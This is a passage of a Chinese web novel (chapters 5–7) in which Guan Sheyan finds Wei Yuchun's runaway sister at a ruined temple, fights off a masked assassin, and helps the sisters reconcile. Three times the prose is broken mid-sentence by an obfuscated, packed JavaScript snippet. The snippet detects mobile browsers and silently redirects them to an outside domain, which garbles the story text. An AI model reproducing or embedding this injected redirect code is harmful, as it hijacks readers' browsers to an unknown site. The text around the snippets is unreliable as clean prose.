关阇彦舒展开不痛快的眉头,给魏郁春指了一条路,那个方向还亮着几团灯火:“去那边看看,应是还有好几户人家没走到。” 魏郁春将踏烂的草鞋重新打上死结,也将钻心的疼痛埋在心里,一言不发地上了路。 两人匆忙出门根本来不及提灯,一步一个当心,都难以躲避低洼之处埋着的水坑,关阇彦擅跋涉之力。魏郁春纵使再不情不愿,也不得不依靠他来引路。 漫山遍野的昏暗混淆视觉的盲区,走近之后,关阇彦和魏郁春才发现那个方向根本没有什么灯火人家,那些光点散着幽微的光晕,摇摇晃晃,一会儿抱团,一会儿似烟火般炸碎。 如今暴雨纷绵,这些灯光怎么可能堂而皇之地在外面,如此肆意活动?这在实在是诡异。 除非那里有个至多还可以遮雨的地方——并且一定是处极其狭小的地方,甚至是估计唯有一两片墙挡雨的陋地。 魏郁春自是知晓这些道理,使劲眯着眼去看,却还是透不过雨幕瞧出个分晓,迷茫而忧虑地问道:“那是个什么地方?” 关阇彦还在引着她往前走,待终于看清建筑的轮廓后才开口:“一个破败的土地庙。” 他的注意力被全部吸引走,一时没顾上魏郁春,径自快步上前。 魏郁春还提着裙摆,使劲儿收腹后才攒足劲儿跃过眼前很宽的水坑,她举步维艰,她边走边想:“看来已经离家很远了,我未曾见过古溪村还有这种地方。” 这土地庙不知荒废了多少年,除了勉强支撑半只屋顶的残垣断壁外,其余的土石早已同茅茨土阶混杂在一块,淹在软泥里,同雨水一起发酵出腥味。 原先被错认的灯火原来是一些散落在逼仄屋檐下火星子——几只被“开膛破肚”的灯笼零零散散地倒在埋在墙底角落堆积如山的枯草,火舌沿着枯草蔓延,却因为几滴时不时渗下来的雨水和潮气被浇灭个轮廓,火团因此散开,等一会儿又有本事重新汇聚成完全体——难怪在远处看起来那么跳跃诡异。 关阇彦犀利的眼神,瞬间攥住了屋下气氛正焦灼的四五个孩子,一个小女儿突兀地扎在其中,被其余孩子压着领子倒在地上。女孩倒是有力,扑腾着双腿愣是把男孩们的□□踢了个遍,然后趁机起身,反去制服别人,颇有一番逆风翻盘的架势。 在女孩反身后,跳跃的光芒落在她圆嘟嘟的脸蛋上,关阇彦脑子一蒙,立马转过身来,和距离自己还有约莫一丈的魏郁春寻求确认:“来看看那是不是你妹妹!” 魏郁春赶忙追过来,裙子都没顾得上提,落得满身泥泞。 破败的土地庙入目,冯巧儿拧巴的脸蛋上挂着的笑刺目无比,魏郁春感觉自己整个眼球都要瞪得炸裂,躯体也同被夺去了控制权一般往前跑去。 于是,冯巧儿大老远就听到了自己姐姐那撕心裂肺的呼唤声:“冯巧儿!你长本事了?!” 关阇彦完全没有预料到魏郁春会是这样的表现,也纳闷方才还娇小的女子,是如何在顷刻间就爆发出这股骇人的力气的。 关阇彦举着伞去追那仿佛缀了一尾巴森然怨气的女人,发现居然还追不上。 随后关阇彦看到冯家姊妹相聚时,周围那冷寂如冰洞般的气氛后,也懂得了要收敛分寸,不作干扰。索性自己一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447347|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走进了光晕照不到的暗角里,静观其变。 此时,漏墙下,不光是冯巧儿,那些胡闹的男孩们都被魏郁春吓得一动不敢动。随后这些家伙们醒过神,瞬间一哄而散,不一会儿就没了影子。 唯留了冯巧儿一人面对魏郁春的滔天怒火。 冯巧儿顿时发了怵,颤颤巍巍地站好杵在墙角,眼神心虚萎靡,生怕别人不知道她做了什么坏事。 “姐姐,”巧儿怯声怯气地唤着,方才那要强至极的拧巴劲儿全然不见。 魏郁春的头发被雨水尽数浸透,慌乱下顾不上形象,发丝凌乱地黏在她那看似平静实则暗涛汹涌的面色上,形同一只刚从怨井里爬出来的水鬼。 魏郁春垂眸凝视着站得笔直还不停发抖的妹妹,静声之时,唯有二人粗粗的呼吸声在暗色下藏伏,这是山雨欲来的前兆。 “为什么要离家出走?” “为什么要打人?” 魏郁春沉着声线终于发了问。 不问还好,巧儿起码还会迫于姐姐的压力不敢吭声。 可姐姐的这些质问一出口,腾的一下子就唤醒了巧儿心里的不甘和委屈,这些情绪如同洪水猛兽一把子涌没了心底的畏惧,甚至还冒出了不少怒意和倔强。 巧儿突然昂首抬眸,有如亮剑般锃亮的眸光毫不畏惧地盯着魏郁春,眼底的泪光一点一点涌出来。 她抖着声线,大声反抗:“这些人背地里一直在说姐姐你的坏话!姐姐你明明一直都知道但一直不准我们反抗,可这些人越来越过分……他们说你恶鬼夺魂!说你摆弄书信是在卖弄风姿!说你的假装矜持还不是为了勾引别人!如今那些淫贼坏人是这样,这些毛都没长齐的小屁孩儿也是这样!” 关阇彦虽然隐身暗处,却把巧儿的这些愤言一字不落地听进了耳朵里去。 他沉默深思,想着原来魏郁春竟然还有这么一番往事。 不过,听巧儿那语气,感觉这些风言风语甚是流行,那他在冯家借住这么多天,怎么没有听得到半点风声? 这些谣言猝然出现,巧儿也猝然消失不见,还来到连她姐姐都不知道的地方,和人打起架来……甚是可疑。 关阇彦敏锐地察觉到了不对之处,但苦于没有具体的线索,他不得不暂时放下深入疑团的念头,继续将注意力放在冯家姊妹身上。 “那你自己的毛何时算得上是长齐了?!” 巧儿的造反让本就情绪低迷不定的魏郁春走向崩溃,她的脖子青筋乍现,手臂也高高抬起,巧儿望见掌心的隐隐,徘徊在眼眶的泪落成豆大的珠链。 千钧一发之际,巧儿嘶破了嗓子吼道:“我觉得丢脸!” 魏郁春想要拍下去的手猛然顿住,那乍现的青筋很快就蔫回了皮肉,心更似被灌满了冷铅一般,既沉重又苍凉。 她的声音比巧儿还抖:“你……说什么?” “有你这样的姐姐,我觉得很丢脸!” 巧儿越说越凶,哭得也越来越厉害。 可她明白自己明明不是这个本意,却妄图通过这样的方式伤害对方,来获得一时的快感。 “姐姐你变了!我不喜欢这样的姐姐!以前的姐姐虽然不聪明但却一直愿意陪我玩!会不顾哪怕爹娘的意思都要护着我!现在姐姐看不到巧儿是不愿你受到欺负才打架,看不到巧儿满身的伤和满口的疼和委屈,只看得到我离家出走,觉得巧儿不乖,不分对错地责怪我!” 5. 袖中草箭 巧儿的话同时伤着两个人的心,一个是魏郁春的,一个是她自己的。 魏郁春的脸色越来越苍白,她突然变成了弱势者,高举着的手每一个关节似乎都有了自己的意识,“咯吱咯吱”地自个儿颤着响。 巧儿见头顶掌心阴影僵住,自己也知道言行太过分,凝住了呼吸不再说话。 大闹一番后的喘息在她喉间咕噜噜地堵着,好似一只受伤无助的小兽。 魏郁春就这样保持着这样的姿势,眼睛也不眨,活似个就会掉泪的木头人。 关阇彦静静看着,姊妹嫌隙这场戏让他回想起了不少往事,差点出神。 结果异动突生,幸好他还敏锐着心绪,让他没错失捕捉异动的机会。 异动发生之地,就在离土地庙不远的地方,并且都被杂乱的荒草和伸手不见五指的黑暗掩着。 若是常人只道此乃暴雨拍打草壤时的声音,估计那藏在暗处的歹人也是这样想,所以他才完全放低了警惕心,也不屑于遮遮自己鬼祟的行迹。 关阇彦心里门清的很,心里嘲讽了此人遇见自己算是倒了大霉。 他已经撇过诸多障碍,觅见了那人露出蒙面黑布的眼,那双眼直直盯着庙里的冯家姐妹,和一群刚刚看似逃走实则藏在庙后呆若木鸡的男孩们。 蒙面人眸光杀机深重,乃远处就可察觉之十足煞气。 在普通人眼里尚且有此想法,在关阇彦这样一个趟过无数次战场血海的人来说,更是戳目至极。 关阇彦随意折了身旁一支摸起来还算硬挺,却不知姓甚名谁的的草头,然后藏在袖中暗暗摩梭,应是在蓄力。 那偷鸡摸狗的黑衣人完全没有注意到关阇彦的存在,更没有意识到关阇彦手中神不知鬼不觉的暗杀准备。 关阇彦掐好了准头,然后手中的草头便似袖箭一样“嗖”出去。擦过黑夜,透过雨幕,借着越积越重的风力直冲黑衣人而去。 关阇彦将攻击的目标放在黑衣人罩住脸的黑布上,“袖箭”发动之时,他冷不防地勾了勾嘴角,颇有一番城府极深的邪魅之气。 他心中冷道:“倒要看看是什么人有这么大的胆子,居然敢在我面前造次。” 袖中草间蓄了很多发主的气力,它卷着凉风冰雨,袭去一股很果断的狠厉之风,那黑衣人倒还算有点武功底子,提前半指距离察觉到了关阇彦的不怀好意。 黑衣人大惊,想要撤身,却根本来不及躲闪多少,最多只是一个微微侧身,没让那袖中草直接扎进脸上皮肉。 可是悲剧的是,那袖中草自出手起就没想过要无功而返,即便没能伤及他的血肉,但还是被勾上了蒙面黑布。 袖中草刺去另一方时,也差点将黑衣人这么个“神秘面具”从他脸上剥离开来——他连忙抽出一只手的空,将黑布掩盖回去。 关阇彦没有如愿以偿地捕捉到黑衣人的面容特征,反而还激怒了这家伙。 此时,黑衣人如同奓了毛的野猫,轻功作底,双腿上蹬,双目瞪大如圆灯,其中聚焦了万千恼羞成怒——他恐身份暴露,所以急于寻找对他下手之人,并准备对其杀人灭口。 黑衣人果断提着一把反射白光的长剑,朝关阇言冲刺过来。 可黑衣人没有想到就是自己抽空掩面的功夫,让关阇言有机可乘。 在黑衣人没有察觉到的空子,另一只自关阇彦袖中射出的化箭硬草,就朝黑衣人冲了出去。 所以当黑衣人凝视到他的存在时,也意味着自己已经晚了他一步,黑衣人根本就来不及还手,腿上就被袖中草扎了只洞。 飞上草壤三尺余高的黑衣人瞬间就坠落到地,恰逢暴雨,泥水泛滥,滑不溜秋,他整只背着地,一时间根本起不来身。 他应该也从那袖中草扎进腿里的深度,料出关阇彦的内力之深,杀人灭口的念头瞬间偃旗息鼓,他挣扎着要起来,只想要逃走。 可关阇彦已经朝他的方向快步而来,明摆着他已无活路。 此时波折又起,关阇彦听到耳后传来一道铿锵有力的声音,他回身而去,发现原先跟只木头站桩似的魏郁春,不知什么时候晕倒在地。 紧接着冯巧儿急迫的哭音响彻乡野——“姐姐!巧儿知道错了!你不要再生气了!你也不要吓唬巧儿了!” 关阇彦的气息凝滞起来,脚步一只要向前走,一只要往后挪,处于两边为难的僵持状态。 他自认他的反应速度并不慢,可当他眼神重新回到黑衣人的方向时,却已经看到那人逃之夭夭的狼狈背影。 “坏了……这是偷鸡不成蚀把米了,他反倒看到了我的面目,假以时日,恐怕会报复回来。” “还有,这南禺偏僻的古溪村,何时出过身手如此雷厉之人?实在怪异,恐与先前偷袭我的人难脱干系。” “但……” 关阇彦控制住想要追上去的脚步,硬生生将腿脚的方向掰了回去,他看着不远处哭哭啼啼的冯巧儿,和不知是否有大恙的魏郁春,长叹了一口气,心中想道:“罢了,救人要紧。” 幸好他方才的目光追着黑衣人没放,还注意到了那人后脖颈衔接发际线的地方,有一团黑色的胎记。届时若此人真要报复回来,他也好提前做好应对的准备。而且他也不是特别担心自己会受到伤害。 主要是他如今寄人篱下,总不愿自己扯上的脏事殃及了池鱼。 关阇彦垂眸,终于得出个艰难的结论:大不了早点离开这户人家,风餐露宿也好,内伤未愈也罢,叫家境贫困者因他受累是万万不可行的。 反正这户人家也不是特别欢迎自己。 关阇彦撇下愁思,快步跑进闪烁着微光的小破庙。这时,冯巧儿才明白原来这男子早就守在了这里,应是同姐姐一起来寻她的。 冯巧儿那寻日看他如看野狗的眼神在此时大变特变,她急不可耐地嗫嚅着嘴,却突然想起来自己还不知道这最后一根稻草的名字。 语句翻滚百遍,她终是寻到了法子,扯着关阇彦的袖子哭喊着道:“……哥哥……求求你看看我姐姐怎么了!” 关阇彦的眉头微微上扬,心中惊奇这不可一世小丫头片子居然还有求人的时候。 若是情况不紧急,他还挺乐意揪着她的把柄,逗逗她,好把这些天在她这边吃的冲天炮还回去。 他没将腹诽之言表露在外,并且在冯巧儿恨不得病急乱投医时,就靠着魏郁春的脸色估摸出了个情况。 在冯巧儿求助后,他蹲下了身子,拿手去探魏郁春额前的温度,滚烫无比。随后又摸了把她的手臂,又似两极分化般寒冷彻骨。 这下算是彻底确认,魏郁春是受了风寒,发烧了。 “你这小鬼,看你下次还敢不敢和你姐姐怄气了,”关阇彦转眼就看到冯巧儿快要破碎的表情,又叹了一口长气,信手拍了把她的脑袋,算作私人泄愤。但他面色平静,说起话来有长辈的气度,叫巧儿只以为他是在责怪她方才和魏郁春斗智斗勇的事情太过分。 冯巧儿闻言,眼睛又掉了两串黄豆子,颤颤巍巍地抽噎:“我再也不了!我再……再也不了!再也不了!” “这还差不多,回家后好好和你姐姐道个歉。” “所以我姐姐还好吗?她……她到底怎么样了?!” “放心吧,今日暴雨太大,你姐姐为了寻你也顾不上好好打伞躲雨,冒了风寒,恐又因为你的事情被气着了,急火攻心就晕了。” “等我把你姐姐扶好后,你就背上你姐姐的身子,我一起把你们两个背回去。” 关阇彦把手里的伞塞到冯巧儿的小手里,然后一边交代一边转过身子,把魏郁春的双臂搁在自己的肩头。 “你一个人背两个人?!好像叠罗汉!” 冯巧儿不知道是不是自己见识太少,听闻关阇彦的说法,惊得差点合不上下巴。 “哼,我发现你这个小鬼好像总爱把自己当大人,毛没长齐,一丁点大,还怕人背不动你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447348|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关阇彦冷言,话虽不中听,话末带着的笑意却让冯巧儿完全冰释前嫌——不管是从前的看不顺眼,还是现在气氛和谐的相处。 关阇言已经把魏郁春背好,然后等着冯巧儿上来,小家伙提着伞上了姐姐的背,也没要人提醒,自己已经把伞打好,给身下两个大人遮风挡雨。 这是一种很奇特的体验,总感觉好像真的借此体验了一把当大人担责任的感觉。 乡野田间,潮湿的雨气好似能将人淹没,敲打如鼓音的雨滴也将人的存在感压到谷底。人和自然实力之差距拉得极大,人在此时连蝼蚁都不如。 本该悲漠而备受压迫的心情却因为三人的同行变得同样生动,冯巧儿孩子心性,怕黑怕打雷也是正常。她害怕了就寻关阇彦聊天,好好问一问他到底叫什么名字。 关阇彦依旧忧虑自己的身份恐会给他人带来麻烦,索性拿了年少时许久不用的小名做回应。 他说他叫“关贤齐”,取自“见贤思齐”。 冯巧儿大字不识一个,哪里懂这些中原之语,听罢幻听成“关贤妻”,大惊道:“你叫关贤妻?一个大男人叫什么贤妻?你嘴巴这么毒,模样这么凶,和这名字一点都不配啊!” 关阇彦无言半晌,应是无语到丧失了语言组织的能力,心想,罢了,贤妻就贤妻了,反正也叫不着几天了。 冯巧儿的话题一个接一个,拐了山间十八弯儿竟又拐了回去,她问他:“刚才在那土地庙里,你怎么知道我在和姐姐怄气?” “你也知道你姐姐就是因为不懂你的怄气,所以才会当真,被气晕过去的?” 关阇言颇觉意外,感叹这小家伙心思还算敏捷啊。 谈及姐姐被自己伤害一事,好不容易振作了点精气神儿的冯巧儿,又蔫儿了回去,也知道愧疚,垂头丧气地应着:“我知道啊,但是我姐姐那么聪明一个人都看不出来,你怎么看出来的?” “因为我跟你一样,没事儿就爱和人怄气,面对愈是亲近的人愈是窝里横。” 关阇言思及过去在自家府中,跟家里长辈,以及辈分下的庶弟相处的那段鸡飞狗跳的日子,既因过往不可追而怅惘,也为自己处境同往时天差地别而心力交瘁。 他有些怀念过往那些日子了,那是他从前绝对不会承认它们的好,以及如今巴不得抓紧在手心不肯撒手、含在舌尖却不舍得品味的日子。 早知道这样,以前就应该少跟老爷子他们怄气了。 思及此处,他倍觉百感交集,然后突然语重心长地教导起背上之背上的小辈来:“而且愈是亲近的人愈是容易被这些怄气伤了心,你姐姐就是如此,以后你切莫再做此事了。” “嗯嗯,我知道了!” “对了,我还有一件事没问你呢,”关阇言话锋一转,语气郑重了不知几个度。 “和你打架的那群小男孩是怎么回事?你怎么知道这儿还有个破败的土地庙的?” “那些家伙大多是村里爹不管娘不要的小杂种,平时要要饭偷偷衣服,本来就讨人厌,最近突然盯上了我和我姐姐,一有空就逮着我说我姐姐的坏话,更过分是,还到处散播这些谣言!我这次气不过,追着他们跑,天又暗了,我也没注意地方,谁知就到了这么个鬼地方?!” “所以说,你是被这些男孩引过来的?”关阇彦很会抓重点。 “算是吧!”冯巧儿觉得特别有道理,恨不得当即丢了伞,举双手赞成。 关阇彦没再问下去,将疑心集中到了旁人不可见的城府里去——那群男孩故意把冯巧儿引到这鸟不拉屎的地方,难道就是等着冯迎春过来寻妹妹?那今晚鬼鬼祟祟的黑衣人莫非是在守株待兔,此兔还是冯迎春?所以,这黑衣人难道是跟这群男孩提前预谋好了这一切吗? 那黑衣人功夫了得,为何要这么重视这偏僻乡野的姑娘? 难道此人真的和那场剿杀没有关系吗?这到底是怎么回事?为何一点线索都捉不住?他的心越发沉寂…… 6. 姐妹嫌隙 魏郁春被关阇彦背回家后,冯家老小齐齐出动,又是帮她换上干净衣服,又是帮忙擦头发和身子的,又是熬药的,好一阵忙活后,魏郁春的热病终于好了许多。 此时,她额头上搭着条湿布巾,脸上红晕散淡,应是睡着了。 冯巧儿刚被她爹娘喊出去,铁定是在问她事情原委,巧儿既也答应了以后要乖乖听话不捣乱,肯定也不会撒谎糊弄。冯家夫妇听了她讲的话,又是哭又是怒的教训小丫头,三个人围在一个屋子里哭哭啼啼不断。 关阇彦是外人,本就不好掺和别人的家事,外面又下着暴雨,他索性就守在魏郁春的屋子里不动。 他还在脑中反复回放和品味土地庙的事情,生怕错过任何一个细节,硬生生要将那黑衣人的作为,跟自己被暗杀的事情扯上联系,可到头来无非还是强人所难,牛头不对马嘴。 他想得脑壳生疼,胸腹里积压了不少闷气,都开始报复他。 是了,他的内伤还没恢复多少,今天还强行运作功夫,即便当时无事,之后也难保逃得过反噬。 关阇彦自知这是心神不宁惹出的祸事,他亟需什么事情帮自己分神,或许冷静下来后,才有本事沉着应对这些想不通的东西。 冯家老少三人所在的屋子同他所在的偏屋隔着块空地,即便如此,他还能清晰地听到他们期期艾艾的哭闹声。 他想起来冯巧儿和她姐对峙时的模样,心想还是帮她说说情好,毕竟小鬼都认错了,委屈不了太多。 他刚要挪开脚步,就听到身后卧床的魏郁春嘴里有了动静,但声音含含糊糊,不知道想说什么。 “这么快就醒了?”他心奇。 关阇彦走近了,发现魏郁春的眼闭得不能再紧了,才知是自己多想,魏郁春不过是在说梦话。 那要不要去喊她爹娘过来看看?毕竟他不算懂医。 可她爹娘正忙活着吧,他一个大男人过去拿魏郁春的事情打断了他们,会不会不太妥?毕竟男子女子之间也是要避嫌的。 奇了怪了,他方才不也打算去那爹娘那头帮冯巧儿说情的么?怎么现在纠结起来妥不妥当了? 他突然被自己这般忧虑他人的模样笑住,实在好奇自己什么时候这么婆婆妈妈了,难不成真成了什么“贤妻”? 关阇彦扶额苦笑,认清自己本来面目后果断迈开步子,不成想在他这犹豫的功夫里,魏郁春不知何时把掖进被褥里的手伸了出来。 明明闭着眼,却十分精准地摸到了刚巧还在她床侧的关阇彦的手腕上,倒叫人去怀疑她是不是长了只旁人看不见的三眼儿。 “巧儿别走……” “对不起,我并不愿那般责怪你,我只是害怕……” 关阇彦懵然,他那蠢蠢欲动的好奇心,也促使着他放弃离开的念头。 他任凭魏郁春攥紧他的手腕,然后听她把后段话慢慢脱出口。 关键时候,这魏郁春突然哽咽了,平静的眉头突然变得崎岖,眼角流出泪珠来。 关阇彦实在觉着,眼前女子就是那块炼不成钢的铁。 他轻声催促着问她:“你在害怕什么?” 幸好有关阇彦帮魏郁春提了提神智,否则片刻的停顿足以让她重归睡梦。 她缓缓开口,以极低的声线慢慢说出那句答案,关阇彦以力所能及之姿态俯身靠近她,听她的声音。 “……巧儿……是这户人家唯一的孩子了,倘若你出了事……我怕因愧疚万劫不复……” 话音方落,关阇彦仿佛感觉到了一股恶寒的风刮过后背,简直就像是背后站了几只地府来的索命鬼,正在偷窥他。他知道这是自己心虚,因为他得知了一个不得了的且超乎常人所理解的秘密。 “巧儿是这冯家唯一的孩子……那你冯迎春又是什么样的成分?” 关阇彦被魏郁春的梦话牵绕得满脑袋纷纷扰扰。 他旋即又想起初来乍到时,在古溪村听到的一些关于此女的闲言碎语——冯家大姑娘本是个天生傻儿,不久前差点被大蛇咬死,命好被就回后她就性情大变,性格变得冷然沉默,脑子也变得极其聪明。 简直就像换了个人一样。 难怪他总觉得此女在古溪村那般格格不入……不仅因为她奇怪,也因为她藏着很多秘密。 深沉的暗夜落满了关阇彦的侧脸,那藏在阴暗面的一边唇角勾出个荒唐的弧度,他心中想道:“莫非当真如谣言所说,此女真是被恶鬼上了身?” “那我这些天,岂不是一直在跟只恶鬼相处?” “倘若真有此事,这天下伦理纲常、道法自然岂不是全要被推翻了去?” “倘若……你也真是那只恶鬼,还会因为上了别人的身感到愧疚么,还会为他人的家庭奔波付出至此么?那未免太有良心了,恶鬼二字岂敢攀附你?” 倘若世间真有恶鬼夺魂之事,那些惨遭谋害的将士定会竭尽所能寻到他,再一起并肩作战,报仇雪恨。 他如今又怎会落到这般田地?那帮藏在深处的恶人又为何迟迟得不到报应? 关阇彦絮絮叨叨地想完这些念头,结束后那股叫他毛骨悚然的阴风也没了影子,反而不少仇恨的怒火被引燃。他的拳头攥紧,魏郁春触摸她手腕的手也渐渐松了回去。 他微愣片刻,觉得自己应该为方才自己吓自己的行为付出些代价。于是他罕见地主动当起了好人,帮忙把魏郁春的手放回被褥,并拿了手帕为起拭去眼角残泪。 “不知道是做了何等的噩梦,大半夜说出这些胡话吓人。” 事了,关阇彦不忘多抱怨了一句。 翌日,天气甚好—— 日中时分,魏郁春才得以从昏沉之中脱身,她恍惚觉着自己应该做了什么梦,还是不太好的那种。 但当她睁开眼睛后,关于梦境的任何支离破碎的画面,全部消失得一干二净,徒有空荡荡的感受堵在她的头脑和胸膛里。 屋子里无人,遮住透光窗户的竹帘下拉着,微妙的光束靠着那点缝隙露进来,不叫房间太过阴森。她知道自己回了家,却不知道是怎么回的家。 随着精神愈渐恢复,她听到的声音也越来越清晰,窗外一个成年男子与小丫头的交流声有一搭没一搭的响着,氛围是不用眼睛看就感受得到的好。 魏郁春知道这两道声音的主人,是这段时间暂住在家的男子和妹妹巧儿,但就是因为她知道他们的身份,才觉得不可思议——妹妹巧儿向来不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447349|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢那男子,男子来了此处几日,巧儿就跟他对付了几日,在她面前说的话或是告的状,从来都在给此人扣上里外不是人的帽子。 所以如今是她还在做梦?还是太阳打西边出来了? 好奇心鬼使神差地驱使她动手掀起了竹帘,眼见男子背对着她的方向,坐在小板凳上,而冯巧儿则踩着只同样高的小板凳,立在男子身后,手里翻翻绕绕,竟是在给他编头发。 男人的个子很高,又为了满足巧儿的要求,不得不一直维持着紧绷着长脖子和双肩的姿势,不动弹,宽肩窄腰在此时无比显眼。 他那逆着阳光的侧脸也泛着说不清的风韵,宛若一卷会动的图画。 “贤妻!你别动了!我这边真的快要好了!” 冯巧儿不满关阇彦的小动作,情急之下还用手指弹了把对方的脑门,惹得关阇彦忍不住“嘶”了一声。 “你个小丫头片子,刚刚就说要好了,现在还说要好了,你在耍我吧!” 关阇彦嚷嚷了一句,可到底没有怒气,多的是兴起时分耍嘴皮子的劲头。 藏在窗后的魏郁春眼神停滞甚久,这具身体原本主人的记忆翻涌了许多出来,她这才注意到冯巧儿最大的爱好之一就是摆弄人的头发。 冯迎春还在世时,爹娘忙于茶业,冯巧儿总是守在自己的傻姐姐身边,摸摸她顺柔又乌黑的长发,给她编各式各样的鞭子,系上五颜六色甚至还缀着小彩石的带子,有时漂亮,有时猎奇辣眼。 那时,冯迎春虽傻,却总是乐意被妹妹随意玩弄,最后不管是丑是美,她都是笑眯眯拍掌夸赞,总把巧儿夸得脸红耳赤。 冯迎春出事后,魏郁春替代了她。 自那以后,妹妹巧儿觉得姐姐变了很多,却也总是坚持不懈地跟姐姐套近乎,却发现如今的姐姐并不吃这一套,久而久之,她就越来越害怕这个太过有距离感的姐姐了。 至此,更不谈像以前那样,抓着姐姐陪自己玩过家家的游戏。 而魏郁春也没有细究巧儿的变化,还自我感动着,用自己的方式去给予别人自以为是的关心,最后适得其反,明明是活该。 她昨晚怎么能对巧儿说那样的话呢? 明明……她也是太爱自己的姐姐,看不得她受委屈而已…… 身为姐姐的她,很多事情做的还远不如这初来乍到没多久的陌生男人好。魏郁春如是想着,心里也大致明白,自己昨日脱难是拜此人所赐,很多方面都驱使着她对他改观。 “巧儿。” 魏郁春已经理好了衣裳,揽过微微敞开的房门,对着外面两个还在嬉笑打闹的人,唤起妹妹的名字。 冯巧儿捞过关阇彦发丝的手顿时僵住,扯得他头皮生疼。 “姐姐?” 冯巧儿心虚着模样,飞一样从板凳上跳下去,低眉顺眼地悄悄念着。 然后她应是紧张,低着的眼得空还偷偷斜飞出去,要寻求关阇彦的帮助。 关阇彦知晓其孩子心性里容易耍无赖的劣根性,非但没有帮忙庇护她,还提起一些让她更加难堪的事情,为她们冯家姐妹调和一事,推波助澜。 “你昨晚答应了我和你爹娘什么都忘记了吗?快去跟你姐道歉啊。” 7. 毒草烂肤 魏郁春完全没有想到,这素日要么不说话,要么说毒话的男人,在此时这般帮她,盯着关阇彦看的眼色百般轮转,惊奇之色溢于言表。 冯巧儿已经提溜提溜地跑到了她跟前,小脚步欻欻不止,倒有点上赶着献殷勤的狗腿儿样,魏郁春将她这副模样看在眼里,总想忍不住笑。 “姐姐,我……我错了,我昨晚不该和你怄气。” 巧儿揪起魏郁春的衣摆,扯来扯去,别别扭扭着,的确是常态下强势惯了不会示弱的窘态。 她继续说着:“是我事先没有和家里人说好,自己一个人跑出去犯了事,叫爹娘和你为我担心,姐姐生气也是应该的,巧儿挨骂也是应该的……” 她熟悉了当下卑微认错的态度,语气很快就打满了气,颇有义正言辞之风:“巧儿也没有觉得姐姐丢脸!那也是昨晚太冲动,故意说出来气你的!” 魏郁春的眼皮微微垂着,慵懒的同时也带着太多温和,和平常那副冷然要强之相截然相反。 她抚摸上巧儿毛茸茸的发顶,安慰道:“姐姐知道了。但姐姐也要向你道歉一件事,这段时间里,我的确没有重视过你的感受,只记得责备你,却忘记了担心关爱你。让你受委屈了。” 她笑着,眉眼弯弯,俨然一副仪态大方的大姑娘作态。站在姐妹二人氛围之外的关阇彦,为之注目了片刻,心里暖洋洋一片,唇角跟着一起,微弯起一个深藏不露的弧度。 巧儿抱上了姐姐的腰,对终于肯亲近自己的姐姐爱不释手,旋即说出更多为自己辩解和长脸的话来:“其实,巧儿早不愿做姐姐口中那个毛都没长齐的小孩子了。” “为什么呢?” “以前,家里贫穷,姐姐也不聪明,巧儿一直想要快快长大,做个大人帮大家担担责任,却没有机会。后来,爹娘出了事,我就着急了许多。” “所以着急到碰上昨晚的事情,已经不愿忍耐了是吗?”魏郁春精准说进了巧儿的心窝窝里。 巧儿闻言落了几滴泪。 魏郁春强忍着揪心,抬手为她抹去泪花,温暾而言:“巧儿,姐姐已经不笨了,会照顾爹娘的身体和你的心情了,你可以慢慢长大了。” 关阇彦静静看着,在脸上停留没多久的笑意早已凝固。这才八岁的孩子懂事到令人心疼,说出的这些话,他从未在哪个与之同龄的孩子口中听到过,算是活久见了。 这一家子,看似平平无奇,实则老老少少都深藏不露着吧。 魏郁春这边突然将目光挪到了关阇彦身上,实在是猝不及防,在关阇彦以为她终于要对自己宣诉感恩之情时,这女人却又把目光收了回去。 之后说出的话,更是与自己想象中的大相径庭。 她对巧儿忽然提道:“姐姐也算是为你奔波了一晚上,想要个补偿。” “什么?” “你给大哥哥编的头发甚是好看,姐姐羡慕,也想要巧儿给我编。” 关阇彦的心又愣又冷:“……啊?” 就这样,魏郁春拥有了一头与关阇彦相似的发型。巧儿今日的水平不错,在他们本就不错的底子上添了不少精气神。两人在一块,俊男靓女煞是亮目,看起来更是相配。 不过,当事人都比较愚钝,这显而易见的微妙气氛,只在旁人眼中蠢蠢欲动,他们反而跟没事人一样各过各的。 关阇彦杵在魏郁春和冯巧儿身边,抬眼前望,又开始琢磨起刚被放下没多久的疑难事。 之后还是魏郁春和巧儿完事后,魏郁春主动跟他道了个迟来的谢谢,才将他的魂儿唤回来。 “抱歉,昨晚给你添了不少麻烦,谢谢你带我们姐妹两个人回来,”魏郁春语气郑重,罕见的谦卑之态也在其中。 关阇彦不以为然地回着:“没什么,这段时间我给你们添的麻烦更多。只是我还有个不情之请。” “你尽管说。” 